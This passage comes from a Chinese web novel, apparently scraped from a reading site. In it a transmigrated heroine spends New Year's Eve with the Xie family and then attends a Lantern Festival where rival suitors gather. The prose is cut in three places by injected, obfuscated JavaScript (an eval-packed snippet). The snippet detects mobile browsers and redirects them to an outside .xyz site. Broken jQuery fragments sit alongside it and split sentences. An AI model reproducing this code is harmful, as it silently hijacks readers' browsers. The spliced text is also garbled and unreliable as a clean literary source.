她的语气虽然略含责备,但在年节的气氛下到底不如平日那样严厉,谢晞容察言观色,立刻满脸理直气壮地摇头。 “我才不要那些匠气的东西!长兄画得最神气最好看,我就要长兄画的。” 谢青行面露笑意,任由幼妹躲在自己身后撒娇,温言对陶氏道:“叔母,无妨,晞容早就同我提过此事,只是近来一直不得空闲。今夜守岁左右也是无事,此时动笔正好应景。” 他向来言出必行,说完便当真唤来了仆从。 没过多久,桌案上就铺出了红纸,谢青行挽袖执笔落墨,谢晞容得意洋洋地托腮靠在旁边看他,顺便拍起了马屁。 “长兄你的画艺越来越厉害了,我觉得一点也不比外面传的名家差,要是放到市上,肯定能一张卖出千金。” 陶氏眉头一提,马上就教训她:“胡说什么!此为末技,贵公子岂能以画工谋利,不过是你大兄惯着你而已,不许再乱说话了。” “阿母息怒,我错了我错了。”谢晞容做了个缝上嘴的手势,“我真的不说了。” 她岁数刚满十二,有记忆以来过的年还有限,不像其他人早就习惯了这种氛围,因为过于兴奋,一刻也闲不住。 坐了不到半刻钟,窗外忽然传来一阵少年们兴奋的喧哗,她亲兄长谢晞朗提高的声音隔着窗棂传来: “容容,我们在雪地里抓住了两只肥雀儿,你来不来看?” “来来来!”谢晞容几乎是从椅子上一跃而起,像只被放出笼的小鸟一样,又心花怒放地旋了出去。 陶氏望见女儿消失在门口的背影,笑着对旁边的刘夫人抱怨了一句,语气却并不如何严苛,显而易见地满是宠溺之意。 “真是的,再过几年也要及笄了,还这样一团孩子气。” 刘夫人正含笑看着小辈们嬉闹的方向,神色柔和地顺着陶氏的话道:“孩子有孩子气自然是好的,她就是如此才最惹人疼。” 留在京城的谢家人,此刻几乎都聚集在了这间灯火通明又暖意融融的厅堂里,炭火盆烧得正旺,噼啪作响,混杂着除夕夜特有的喧腾与暖意。 “阿苒,怎么一个人坐着?不出去和他们一起玩会吗?” 小辈们的吵闹之中,唯有谢青行注意到傅苒独自待在守岁的火盆边,把自己整个人严严实实地裹在厚实的锦裘里,像只蜷缩起来的团子,便轻轻地叫了她一声。 “谢公子……”傅苒拢紧了厚袄子,好半天才从炉火边起了身,磨蹭着慢腾腾走到他身边,“外面太冷了。” 她从来没有在北方体验过这样严寒的冬天,而且原身不知道为什么也格外怕冷,一点也不想离开炭火。 谢青行了然地颔首,示意她先坐下:“那就在屋里呆会,晚上会放爆竹,从窗子里也能看到。” “好。”傅苒依言乖乖地伏在了案边上,看着他作画。 她早见过谢青行书房里自绘的山川地理图,知道他白描水平不错,只是没想到竟然连这种东西也擅长,男主简直活生生一个全能大神啊。 屋子里的暖意让人浑身懒洋洋的,她有一搭没一搭地找话聊:“谢公子,你怎么在画这个?” 谢青行于是解释了方才的缘由,傅苒知道谢晞容有事没事都爱找他,又继续道:“那你画的这两个门神都是什么呀?” “未曾听家中长辈提起过么?” 谢青行抬眸,见她茫然地摇了摇头,眼神中不知为何闪过一丝怜惜的意味。 “我最初也是儿时听我阿母说起的。”他声音放缓,如同讲述一个古老的故事。 “两尊分别被称为神荼和郁垒,他们是传说中的神明,据说住在度朔山的大桃树下,擅长对付鬼魅邪崇。所以,把他们的样子贴在门上就能震慑鬼怪。” 谢青行说完,露出淡淡的笑容,被炉火映得格外温和:“当然,旧俗很难分得清起因,回想起来,这些大约都只是对孩童讲的神怪传说罢了。” “这样啊……” 傅苒的脸颊被炉火烘得微微发红,下巴枕在手上,盯着画笔,真正有种临睡前依偎在长辈膝下听故事的错觉,慵懒又安心。 她在昏昏欲睡的舒适之中,奇异地生出了一种不实之感。 外面的夜色里还飘着细细的雪花,但屋子里很暖和,长辈们坐在一起聊天,弟弟妹妹在屋外忙着玩闹,长兄在灯光下为妹妹画画,一切都温情到如同虚幻的场景。 就像她记忆深处也曾拥有过的、模糊又温暖的旧时光。 但从外公外婆过世之后,真正意义上的团圆就很难再找回来,分开的父母都走向了再婚,对两边的重组家庭来说,傅苒更像个外来者,试图向他们汲取稍许亲情的客人。 而谢府……更不是她的家,就连如今的停留也只是短暂的,一种善意的接纳,可迟早会要离开。 何况,这么久以来,谢青行对她始终像真正的兄长一样,可她从开始就只是为了任务而已,甚至还有忘忧蛊的欺骗。 这一瞬间让她觉得有些难过。 谢青行抬笔蘸墨,却无意间瞥见了女孩神色怏怏的模样,笔尖一顿,蓦然出了声:“阿苒,你会画画吗?” “呃,一点点吧。” 傅苒的思绪被他骤然打断,恍惚地眨了眨眼,这才回过神来。 怎么会忽然问起这个?当年中二时期学的漫画能不能算? 但谢青行也没有给她拒绝的机会,说完便递过了支细毫笔:“你闲着怕是无聊,不若也试着画一画。” “那好吧。”她只得接过笔,犹豫了一下。 除了漫画,小时候外婆还有教过她一点简单的国画,无非竹叶葡萄之类的,可惜因为长久没动笔都快忘光了。傅苒想了想,先试探着勾了只最顺手的简笔画小老虎。 画得不太熟练,胜在憨态可掬,不过,这两笔倒是找回了一些画漫画的手感。 她抬起头看了谢青行一眼,心念微动,笔尖在纸角飞快游移,偷摸给他画了个圆头圆脑豆豆眼的Q版形象。 “……你忽然笑什么?”谢青行无奈道。 傅苒连忙半盖住了纸面摇摇头,“没什么没什么。” 她那副心虚的样子简直昭然若揭,但谢青行笑着也不去揭穿,看得傅苒略有点不好意思,又赶紧在旁边补了另一个同样圆润活泼,但是梳着双鬟的小人。 还没画上背景,身后就猛然窜来了一阵户外的寒气。 她下意识连人带坐具往后瑟缩了一下,才听见小女郎兴致勃勃的声音大声道:“长兄,你快看我们捉到的小鸟……咦,这张纸上是什么?” 话音还没落下,谢晞容就一把抓起纸张,眼神透着惊奇:“好可爱!我怎么不知道长兄你还会画这个!” 谢青行搁下笔,笑道:“这是你苒姐姐画的。” “哦,”谢晞容看了傅苒一眼,脸上的表情有点别扭起来,好像不是很情愿夸她,“就、确实还不错吧,反正归我了。” 谢青行的语调依然温和,却不容置疑:“晞容,向别人有求的时候是不是要先道谢?” “好吧……多谢你了。” 谢晞容不情不愿地嘟囔了两声,又低头看了眼:“但这画怎么才两个人,能不能补全一点啊。” 谢青行从她手中接过了画纸,目光落在纸上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620670|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小人在桌边画画,另一个小人在他身边转来转去,像只叽叽喳喳的小鸟,桌子另一侧则什么也没有,空落落的。 他静默片刻,抬首望向傅苒,眼中映着炉火,里面有温暖的笑意。 “怎么不把你自己也画上?一家人过节,应该都在才好。” 一家人啊。 他什么别的话也没有说,但这样就已经足够明了了。傅苒怔了片刻,忽然抬手飞快地捂了一下眼睛,等放下手的时候,脸上已经绽开一个真切的笑容。 “好啊。” 谢晞容左看看右看看,也不懂这两个人是不是在打什么哑谜,不耐烦地摆了摆手道:“那你先画吧,反正我们说好了,这张画要归我啊!我都跟你道谢了,不许违约!” 她像快活的小旋风,一溜烟跑到自家阿母那里讨嫌去了。 桌边再度安静下来,傅苒画了几笔,在空处添上了一个小小的身影,接着问谢青行:“公子,你出征的这几个月,头痛还会复发吗?” 之前在谢府的时候,她时不时会熬药,出征在外就不行了。 但说起来,谢青行的头痛多数是和苏琼月相关,他不见到苏琼月的时候,应该发作得很少。 果然,谢青行神色如常道:“已经不严重了,近期没有再发作过。” 傅苒轻轻嗯了一声,这个答案确实也在她的意料之中。 可是仔细想想,忘却本身,又何尝不是一种煎熬呢。 想起来的时候痛苦,不想起来的又徒留遗憾。如果没有这个蛊的话,他和苏琼月,应该真的是非常相爱的一对青梅竹马吧。 穿书这么长的时间,她不仅是更深刻地了解了女主,也逐渐理解原著里直接着墨不多的男主谢青行。 他的家庭环境其实有点特殊。 甚至她觉得,谢青行这种无论什么时候都表现得稳重可靠的性格,或许跟家庭有很大关系。 谁都能看出来,他和继母只是以礼相待,并不亲近,和父亲谢易之间,似乎更没有过什么特别温馨的举动。 而且东郡公父子的交流几乎和上下级没有差别,谢易只会严厉地问他职事做得如何,就算建议,听起来也依然如同冷漠的指令,可能最多再教训几句忠君爱国的道理,然后就结束了。 然而谢青行对待家里的其他小辈,却完全不是这样。 虽然表面上总是沉稳冷静的模样,但傅苒知道他一直很关照家人的感受。就像谢晞容的三兄早早被安排好从文的路,整日在国子学苦读,某天心血来潮提了句想习武强身,虽然被陶氏骂了回去,可隔天就得到了一柄上好的蛇牙枪作为礼物。 哪怕只是日常里的一点小事,他也是会在意的。 但是,她想,对于谢青行而言……这是否也可以算是一种亲情的补偿呢? 或许他未曾得到,却又希望别人能得到。 所以不仅仅是苏琼月依赖他,其实他也应该同样依赖苏琼月,在他们一起长大的过程中,就像相互交织缠绕的藤蔓,弥补彼此生命中从最初就残缺的那一角。 这种深植于骨的依赖从未失去过,只是因为蛊而被扭曲,变成了时不时发作的疼痛。 傅苒心中涌上一丝酸涩,轻轻叹了口气。 …… 过完年之后,另一桩万众瞩目的盛事就是上元灯会。 今年的灯会空前盛大,据说京兆府下了很大力气筹备,城中心的铜驼大街会要竖起高达九重的巨型灯楼,上面遍缀各种各样的奇巧花灯,东西二市也卯足了劲,从鱼龙灯、走马灯,到琉璃灯、绢纱灯,新的花样看都看不完。 不过上元日除了过节以外,对傅苒来说还有另一层含义。 这天是傅苒在现实中的农历生日,知道的大多都说这个生日意头好,所以她将来肯定是个有福气的人。 就连谢晞容听到之后都大感羡慕,跑去问陶氏为什么不选个良辰吉日来生她,被自家阿娘没好气地训了一顿,叫她自己下次投胎选个好日子。 在这样的打打闹闹间,年节的喧嚣慢慢消散,廊下悬挂的彩绸灯笼都还没有撤下去,转眼之间,上元佳节就到了。 这一天,月在高天灯在水,清辉遍照人间。 36. 第 36 章 上元夜,铜驼大街。 暮色还没有完全昏黑下去,街上的灯影就已经次第亮起,灯火长河流淌在安宁而迷蒙的暗夜里,如同渺远的银汉一般熠熠生辉。 不过傅苒把白狐大氅的系带紧了又紧,才算挡住不断往她领子里钻的寒气。 上元的夜间对她来说还免不了有点冷,好在节日的气氛是火热的,比如在她身边,谢晞容就非要缠着谢青行买新制的羊角灯。 谢青行低头看着几乎挂在自己身上的小堂妹,又掂了掂另一只手提着的东西,声音透出几许无奈:“晞容,这已经是第五盏了。” “我一年才逛这么一回,多买点就多买点嘛。”谢晞容的劲头半点也没有受到打击,熟练地攀着他的手臂继续撒娇,“求求你,求求你了,长兄。” “三叔母说,你上个月逛街的时候也是这么求她的。”谢青行叹了口气,虽然手里已经拎得满满当当,但还是帮小堂妹付了钱。 他待弟弟妹妹们一向公平,想到傅苒似乎什么也没拿,便低下头问她:“阿苒,你有喜欢的花灯样式吗?” 从长街上一路走来,一行人差不多靠近了中心的九层灯楼处,鎏金的楼座之上,成百上千盏明黄澄澈的灯火层层叠叠,辉煌又璀璨,连成了一片温暖的光海,让傅苒被风吹得雪白的脸都泛起柔和的暖色。 她摇了摇头,眼神被灯光照得亮晶晶的,忽然兴奋地指着他身后的某处。 “公子,你快看那边!” 谢青行依言抬眸望了过去,却不由得微微一怔。 灯楼下面不远的地方,站着一个手提莲花灯的绝美少女。 少女仰头对着高处层叠的灯盏,周身暖黄的光仿佛被晃动的人影揉碎了,交错成星星点点,落在金线织锦的裙袂之间,走马灯正从上方掠过,一时腾起流霞般的辉芒,令她眉心的朱砂色花钿刹那明艳非常。 像是隐约听到了这边的动静,她转身回眸而望,衣带流风飘舞间,仿佛传说里凌波的洛神。 就连傅苒也愣了一会,心想怪不得古言小说里总拿灯会来写心动名场面。 一片乌漆麻黑的夜里,忽然出现这么亮眼的打光,连女主这样本来就高得不行的美貌度都能锦上添花,果真前人的智慧是有道理的。 “苒苒!”苏琼月见到傅苒眼前便是一亮,但目光触及后面的谢青行,声音又轻下来,“……谢郎君。” 傅苒和谢家兄妹朝她过去,走近了就发现,苏琼月身边原来是盛装打扮的晏明光和她的护卫。 公主脸上带着明媚的笑容,提着一盏漂亮的花灯上前来挽住了苏琼月的手臂,两人亲亲密密,如同自成一方天地。 但后方几步之遥,灯影未曾照到的阴暗里,还有一个游离的身影。 晏绝半隐在灯光交错的边界,和前面两个人的热闹格格不入,就像对眼前流光溢彩的盛会毫无兴趣似的,只是漠然地旁观着。 直到傅苒走近的时候,他的眼神才无意般地从她身上掠过。 原本置身事外的疏离感仿佛被什么打破,少年修长的身影从灯影里慢慢走了出来。 他好像并没有那么怕冷,虽然罩了件大氅,但只是松松地披着,露出下面纁红的深衣。赤金色的夔龙纹若隐若现,黑与红交错,氅衣浓深如墨的毛领衬得露出的颈项和下颌线更加白皙,带着一种玉石般的冷光。 鉴于颜色确实很有冲击力,傅苒没忍住又看了一眼。 继苏琼月之后,她连续遭受二重美颜暴击,感觉自己的阈值都要变高了。 晏绝察觉到她的视线停留,莫名勾了勾唇角,原本就精致的面孔因为这个笑容而越发艳丽。 另一边,晏明光被苏琼月拉着朝傅苒走过来,刚看清就皱起了眉头,意外之余又有些不高兴:“这不是那个……你什么时候和她关系这么好了?” “明光,不要这样,”苏琼月生怕好友说出什么难听的话,连忙低声哄劝,“我不是同你说过嘛,先前那些事情全都是误会,苒苒人很好的,既然碰见了,就打个招呼而已。” “非要去你就自己去,拉上我干什么?” 晏明光没买账,恨铁不成钢地抽出手,哼了一声,自顾自地令护卫拨开人群往前走了。 苏琼月被独自留在原地,因为晏明光这样的态度,她的脸颊也有点微微发烫,窘迫得不好意思直视谢青行,只好对傅苒小声道:“还好碰到你了,我还怕灯会人太多找不到呢。” 女主居然也在找她吗? 傅苒有点没想到,疑惑地问:“苏姐姐找我有事?” “那倒不是……”苏琼月抿唇一笑,下意识飞快地朝身后晏绝的方向瞟了一眼。 少年触及她的视线,眼神瞬间染上了警觉,像是无声传递出某种制止的讯号。 苏琼月收回目光,演技平平地咳嗽一声。 “不过,我要是找不到你的话,有些一开始心心念念的人恐怕就要大失所望了。” 但当着谢青行的面,苏琼月后半句声音压得越来越低,加上灯会太吵,傅苒什么也没听清楚。 苏琼月见她一脸茫然,也不纠结这件事,目光扫过她空空如也的双手,又靠近她耳边说:“苒苒,这么热闹的上元盛会,你不挑一盏喜欢的花灯吗?” 灯楼脚下,各式各样的花灯小摊鳞次栉比,除了常见的莲花灯、金鱼灯这些之外,还有很多十二生肖模样的新奇款式。 “今岁为乙亥年,属相是猪,你看,那些小猪模样的灯卖得最好。”苏琼月指着其中某个摊位解释了一下。 “什么什么,我就属猪,我要买这个!”话音刚落,谢晞容就冲了上来,指着一个又要谢青行买。 “……”谢青行看起来真有点头疼了,“晞容,再这样我要拿不下了。” 苏琼月见状,不假思索道:“没关系,我可以帮忙拿一会的。” 谢青行向她微微笑了笑:“多谢苏娘子的好意,不过毕竟太麻烦你了,我劝她少买些为好。” 苏琼月面色一红,连忙转过脸问傅苒:“对了苒苒,你的属相是什么?” 傅苒看小猪确实画得挺可爱的,但她在现代各种稀奇古怪的东西见得多了,其实没有谢晞容那么大热情。 被苏琼月问起,她便随口回答了:“我属兔的。” 她今天因为怕冷,一直裹在那件蓬松厚实的氅衣里面,白狐的皮毛绒绒的,只露出来半张脸,鼻尖被风吹得微红,头上插着谢晞容不知道从哪里搜集来的绒花发饰,看起来真的很像化了形的小动物。 苏琼月上下打量着她,突然有些忍俊不禁,眉眼弯弯地笑了起来。 “果然是,苒苒真的很像兔子呢。” 兔子么? 这句回答同样顺着夜风飘入晏绝耳中,他的目光无意识地勾勒着女孩被灯光映暖的轮廓。 其实可一点都不像。 他看着傅苒发髻上毛茸茸的装饰,不知为什么想,明明是只看起来像是兔子的,雪白的小狐狸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633244|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这时候她专心致志地和苏琼月在小摊前讨论花灯,没有抬头,对落在自己身上的视线更是浑然不觉。 晏绝就站在她几步之外,一个不远不近、足够看清却不容易被察觉的位置。 他像是被无形的丝线牵扯着,分明想要靠近,却又因为这瞬间的冲动生出了对自己的恼怒,处在一种格外别扭的僵持状态下。 何况傅苒都没有再看他一眼。 她就只有最开始多望了他一刻,甚至没有和他打招呼,最开始是跟着谢青行,然后就只顾着和苏琼月说话。 的确,她身边围绕着那么多人,又怎么会留意到他。 一股莫名的情绪涌上心头,晏绝忽然开了口,声音里带着不易察觉的紧绷:“今天的灯会,傅姑娘什么都没拿,阿姊怎么不给她挑一盏应景的兔子灯?” 苏琼月听他这么说,不禁微微一怔。 她对晏绝的性子即便称不上了如指掌,从小到大也多少有些体会,他虽然常常面带笑意,但骨子里疏淡冷漠,绝少主动关心旁人,所以这个提议……实在很不像他。 想到先前的种种异样,以及灯会之前,他状似无意地问起和傅苒是否有约,苏琼月福至心灵,好像明白了什么,忍不住扬起嘴角,像是看到当年青涩感情萌芽的自己。 她若无其事地牵着傅苒离他近了些,柔声道:“阿真,那你给苒苒买吧。” “啊??不用了不用了。” 傅苒被这突如其来的大礼砸懵了,想都不想,下意识就是连连摆手拒绝。 开玩笑,她怎么敢让女主劳烦小病娇。 上次因为女主要求带上她去打猎,晏绝就直接害她扭伤了脚,这次谁知道他又要怎么刁难,前车之鉴都没过多久呢,还是得好好吸取教训。 人总不能在同一个坑里摔倒两次吧。 另外她知道谢晞容一向喜新厌旧,玩腻了之后肯定又是塞给她和谢青行处理,所以果断摇了摇头道:“其实谢公子买了很多灯了,我有他买的就好了。” “对吧,谢公子?”傅苒说完就转头找谢青行。 她本来是想让谢青行支撑一下自己的话,结果找了半天没找到,最后意外又不意外地看到他再次被谢晞容缠着去逛下一个摊位了。 好吧,本来还想让他和女主多说上两句话来着。 她回过头,却看到晏绝冷冷瞪着她,脸色不太好看。 他连唇边的弧度都彻底消失了,不悦地看着她到处找谢青行。 但其实傅苒不太理解他怎么又不高兴了。 明明她贴心解决了女主的突发奇想,没给他添半点麻烦,他应该感谢她才对,有什么好生气的? 少男心真是比海底针还难猜。 傅苒满脸无辜地眨了眨眼,暗自往苏琼月背后挪了过去,假装没看见他眼里骤然沉冷的阴郁。 管他是为什么呢。 如果只有他们两个人,可能她还要稍微犹豫一下,但现在这么多人在旁边,完全不虚好吗。 想什么就来什么,这时候傅苒听到一个清润的男子声音道:“瑰异谲诡,灿烂炳焕,九重灯楼的确是值得一观的奇景。” 另一个熟悉的人笑着说:“崔兄博闻强识,信手拈来便是文章,果然令人叹服。” 她顺着声音传来的方向看过去,崔林一身靛青长袍,身姿挺拔如修竹,正望着璀璨的灯楼,而萧徵和她视线相触,露出一个淡淡的微笑。 “世子,崔郎君。” 37. 第 37 章 行吧,最后两位男嘉宾也光荣出现了。 傅苒深受古早言情荼毒的脑海里立马浮现出了很多灯会上的常见桥段。 除了经常用来大展文采的猜灯谜对对子之外,另一种普遍的促进感情方式,则是女主在拥挤的街市上差点遇到危险,再写个男主或男配及时来英雄救美。 当然,看情况,今天应该是没有这个机会的。 毕竟这么乌泱泱一大群人,就是真来刺杀都未必找得准目标,女主绝对安全得很,基本上可以放心。 晏明光本来等苏琼月等得不耐烦,都快要上前去甩脸色了,但看到迎面而来的两道身影,尤其是那道靛青色身影的时候,她神色一顿,眉宇间的不耐收敛了几分。 公主牵起唇角,硬生生扯出一个矜持而略带审视的笑容:“崔郎君,好巧。” 崔林则向她行礼谦声道:“公主殿下。” 他的姿态恭谨,却透着一股清疏。 晏明光似乎还想再说些什么,崔林的目光却已转向了旁边的傅苒,温和有礼地颔首致意:“傅娘子安好。” 他和傅苒后来在崔宅又见过两面,也算认识了,此时便自然而然道:“见到傅娘子今日的装束,倒让我想起《九歌》中的‘青云衣兮白霓裳’,正符合这一句的意境。” 傅苒跟他打了招呼,心想不愧是崔鸯她哥,兄妹俩一个个说话都这么引经据典。 崔家人是真的很有文化,估计是家庭教育的原因,崔鸯父亲崔循不说,母亲李夫人就是著名才女,崔家兄妹的名和字都由她取的。 “兄长名为林,字枕鹤,我名为鸯,小字眠棠。”崔鸯这么告诉过她。 但傅苒跟崔林单纯就是见过几次的关系而已,实在不熟,只好跟他商业互吹:“崔长公子果然和传言中一样文采斐然。” 崔鸯说的话,姑且也算传言吧,虽然有亲情滤镜就是了。 说起崔鸯,崔林的笑容里多了几分真诚:“我正要提及此事,舍妹不喜吵闹,向来极少参加灯会。她知道你应当会来,所以托我道一声歉,不能相伴同游,望娘子见谅。” 这个傅苒当然清楚,崔鸯不喜欢太拥挤的地方,即使和她逛街也都去文雅清净的场合,没来是正常的。 别说崔鸯,她看到这么多人都已经开始头疼了。 要不是为了任务,宅在家多好。 更让她如芒在背的是,晏明光看见她和崔林交谈,一个眼刀就甩了过来,透出毫不掩饰的审视和敌意。 不妙,非常不妙。 晏明光本来就因为谢青行和苏琼月的事情看她不惯,她要是还敢和崔林熟悉,那更要罪加一等了。 “咳,”其他人都太远了,傅苒马上别过头找萧徵说话,“世子,你看今天的月亮好圆好大啊,哈哈哈。” 好在萧徵是真正的解语花,哪怕她临时找了个这么尬的话题都能顺滑地接上:“是啊,上元佳节,月圆岁好,正是人间团圆之兆。” 这边话音未落,晏明光已经朝崔林走了过来,下巴微扬,带着一种居高临下的意味。 “崔郎君如此有文采,不知道面对这样的美景,能否作一篇咏叹灯会的千字赋?” 崔林一怔,随后哑然失笑道:“公主谬赞,在下今日是为游览而来,实无即席作赋之能,恐怕要令公主失望了。” “哦,是吗?”晏明光阴阳怪气地冷哼道,“你刚才称赞那位傅娘子的时候,不是挺能说会道的吗?怎么到我的问话就要推脱不能了?” ……这根本不是一回事吧? 晏明光又接连抛出了好几个刁钻的问题,姿态是她惯有的高傲,好像不是和人聊天,而是在考校自家聘请的教书先生似的。 见到崔林一一对答如流,她的表情才略微满意了些。 傅苒都感觉,平原公主貌似不是看中了意中人,而是想找一位能配得上站在她身边的驸马,所以正在挑拣这件商品的优点。 那原著里,他们真成了夫妻之后莫非也是这样,晏明光不会还要像展示自己的珠宝似地带着崔林出去炫耀一圈吧? 真不知道这对到底是怎样的怨偶文学。 晏明光好像注意到了她的目光,警告地往这边横她一眼。 为了不继续拉仇恨,傅苒只能对着萧徵没话找话。 周围人这么多,真有事也不可能在这里谈,不过想到那天萧徵说任何事情都可以告诉他,她还真记起了一件事。 “对了世子,你认识李家的七郎君吗?” “认识。”萧徵眼中掠过一丝讶异,“怎么了?” “没什么,我之前在宴会上见过他,有点印象,所以想问问,你觉得这个人怎么样?” 傅苒没提崔鸯的事,犹豫了一下又补充,“就是你真心的想法,当然,不方便说就算了。” 萧徵看着像是领会了她的意思,但并未立刻回答,而是略微沉吟了片刻,仿佛在酝酿合适的言辞,最后道:“若依我之见,李七郎此人……形秀而神昏,绝非佳偶。” 什么鬼形容。 形秀神昏,那不就是说李七郎是个空有家世和外表的草包? 傅苒差点被吸进去的寒风呛了一口,连连咳嗽了好几下才缓过来。 她还真没看出来,原来萧徵也这么会阴阳的。 不对,等等,什么叫“并非佳偶”? “我没看上他啊!”傅苒感觉有必要澄清一下这个误会,“只是我有个朋友需要打听一下,也不对……反正真的不是我!” 不知道她这句话到底是触动了萧徵哪根心弦,他竟然微微笑了起来。 那笑容不同于平日的克制,他的眼底漾开一片柔和的暖意,声音很轻,在周围的喧闹里,只有离得最近的傅苒才能听清楚。 “长宁,你许多地方都和以前不同了,可这一点还是没有变。” 哪一点? 她明明整个人连灵魂都变了好吗,这认亲认得也太不走心了。 虽然不知道她跟女配究竟有什么相似之处,但既然亲哥都认了,也算是歪打正着,省得她绞尽脑汁想办法编故事了。 扯了半天,崔林和晏明光终于走远,傅苒悄悄松了口气,默默也离萧徵远了几步。 幸好走了,不然她可实在不想拉到更多仇恨了。 结果她视线一转,又猝不及防地撞进了一双湖水般幽深的黑眼睛里。 晏绝独自站在灯火没照到的阴影深处,望着她的方向,视线冷飕飕的,好像在散发着某种生人勿近的低沉气压一样。 这是怎么了? 傅苒带着疑问寻找苏琼月,果不其然,她看到谢晞容正在高高兴兴地给苏琼月展示自己买的一大堆战利品,谢青行神色纵容地望着。 他和苏琼月中间隔着一个谢晞容,距离并不相近,但即使如此,苏琼月的目光还是常常有意无意地落在他身上。 两人之间流淌着一种旁人难以介入的,无声而奇妙的氛围,远远看过去,就像一对情侣带着自家妹妹。 她回过头看晏绝,顿时明白了一切。 吃醋了嘛,很正常。 而且大家都有各自的同伴,就小病娇单独被冷落在一边,心情能好才怪。 但经过这么几番打岔,傅苒彻底忘记了一件事情。 在上元灯会这种凑修罗场的绝佳时机里,剧情杀是万万逃不过的。 当她意识到这件事的时候,已经听见一阵骚动,灯楼上面的一盏高灯掉落下来。 坠落的灯影如同流火,激起人群的惊呼,而那个方向,会掉到苏琼月身上。 “苏姐姐!” 傅苒还没来得及叫人,萧徵的反应比她更快,顷刻便挡在了苏琼月前面,谢青行也马上出手。 好在那盏灯本来就不重,被谢青行拦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639456|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,下坠之势骤减,燃烧的灯架险险擦过萧徵,最终哐当一声砸在苏琼月脚边尺余之地,溅起几点火星。 苏琼月惊魂未定,但还好一片衣角都没有被燎到。 然而这突如其来的惊变吸引了很多人的目光,崔林显然也看到了,立刻撇下晏明光,疾步穿过人群赶到苏琼月面前,声音带着显著的关切与紧张:“苏娘子,你可有受伤?” 苏琼月很明显没事,因为她已经被人围了一圈。 傅苒发现她果然还是放心得太早了。 剧情杀不是不来,是时候还没到。 作为一个阅修罗场无数的读者,她看到这种名场面,就像霸道总裁文里看到男主从天而降打脸欺负女主的小喽啰一样,对可能的后续发展闭着眼睛都能想出来。 更别说接下来的情节她好像在很多小说里看过无数遍。 苏琼月面对崔林的关心,还没回过神来,怔愣道:“我、我没事,”又突然意识到什么,第一时间看向谢青行,“方才是不是谢郎君为我挡住了掉落的灯?多谢你……” “不是我。”谢青行看了眼萧徵,淡淡道,“你应该谢世子才是。” 苏琼月被这句话和他的态度刺到,转向萧徵,却发现他干净的衣袍上沾了些污迹,灯掉落在脚边,泼洒出些许灯油。 她原本赌气的心理变成了不好意思:“多亏你了,世子,抱歉弄脏了你的衣服。” 萧徵就像标准男二一样温柔宽慰道:“这是意外,何须道歉,没有伤到你就实在太好了。” 在中心之外,被崔林抛下的晏明光表情有点恼火,只是看到苏琼月也略显惊慌,皱了皱眉,把火气压了下去,没有当场发作出来。 她走上前去,毫不客气地拉开了萧徵,占据了苏琼月身边的位置。 就这么短暂的一会功夫,以苏琼月为中心,忽然众星捧月似地聚集了一群人,挤得水泄不通。 傅苒没去凑热闹,她甚至默默退开了一点。 倒不是因为别的,主要是她有种看熟人演土狗文学的强烈羞耻感。 转眼之间,全场也就剩下她一个围观群众……哦不对,还有个从始至终都隔岸观火的晏绝。 晏绝仿佛对于她最后才终于注意到他很不悦,凉凉瞥她一眼,让她迷之看出了一种“总算想起我了?”的感觉。 他丝毫没有要凑上去的意思,看着环绕在苏琼月身边的那一大圈,冷淡地嗤笑一声,反而转身走向另一边,远离了这群人。 奇怪,他怎么没反应?不应该也是修罗场一份子吗? 不过傅苒马上就没空考虑他的异样,因为苏琼月被夹在几个人之间,左看右看,好像左右为难,不知道是不是最近养成的依赖心理,居然对她投来了求助的目光。 傅苒:“……” 不是她不想,可这种事情她也帮不上忙啊。 但是有一说一,这段在原著里就很风起云涌。 毕竟按照设定,她应该喜欢谢青行,而晏明光喜欢崔林,其他不管是谁反正都暗恋女主,感情线乱得跟蜘蛛网差不多。 不知道是被风吹的还是想的,傅苒感觉头更痛了。 这么说起来,除了谢晞容坐小孩那桌以外,算上她这个原定的白莲花女配,几个人能凑出四五对三角恋。 原著到底为什么会写出这么复杂的感情关系。 更别说,在场这些人里面,一个是她名义上的义兄,一个是女配血缘上的亲哥,还有一个是崔鸯她哥。 救命啊。 傅苒发现这修罗场水太深,显然不是她能把握的。 她现在觉得没来的崔鸯才是最有先见之明的智者。 “我……我跟殿下一起去旁边看看,你们先聊哈。” 抓住最后的跑路时机,她转过身飞快地攥住了将要离开的晏绝的衣角。 “殿下,等等我!” 38. 第 38 章 事实上,晏绝这次炸毛得有点厉害,因为傅苒好几次试图跟他搭话,少年都只肯留给她一个冷酷无情的背影。 不过还好,反正她本来就只是找个借口溜走,不理人就不理吧。 从灯楼底下的人潮里脱身,走着走着,傅苒被一个插满糖葫芦的草靶子吸引,脚步停了下来。 